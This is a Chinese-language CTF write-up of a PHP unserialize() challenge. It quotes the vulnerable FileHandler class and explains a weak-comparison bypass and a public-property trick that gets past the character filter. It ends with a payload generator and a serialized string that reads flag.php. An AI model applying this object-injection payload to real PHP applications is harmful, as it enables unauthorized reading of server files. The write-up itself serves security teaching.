代码审计 从危险函数入手如这里的:unserialize() 经典的php反序列化,先看最下面的传参,这里由get传参给变量str,接着通过is_valid()函数进行检测是否合法,最后将变量str反序列化赋值给变量obj 还原成对象,调用php内置的魔术方法。
整段代码如下、接着分析php内置的魔术方法。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct()
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
在反序列化时首先会调用__destruct() 魔术方法中,op==="2" 是强比较,而process()方法使用的是弱比较op=="2" ,可以通过弱类型绕过。在process() 方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。若想读取flag,需要绕过process()方法的判断,防止op被设置为1。于是可以传入一个数字2,op === "2" 为False, op == "2" 则为True,绕过process()方法的判断。 is_valid()函数规定字符的ASCII码必须是32-125,只能包含ascii可见字符,如果出现其他的字符则会返回false,而protected序列化出现的%00标识被url解码后ascii值为0不符合要求。但是因为php7.1+对类属性的检测不严格,所以可以直接用public来进行序列化。
构造payload如下:
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content='fuck';
}
$a = new FileHandler();
echo serialize($a);
?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"fuck";}
直接URL传参
|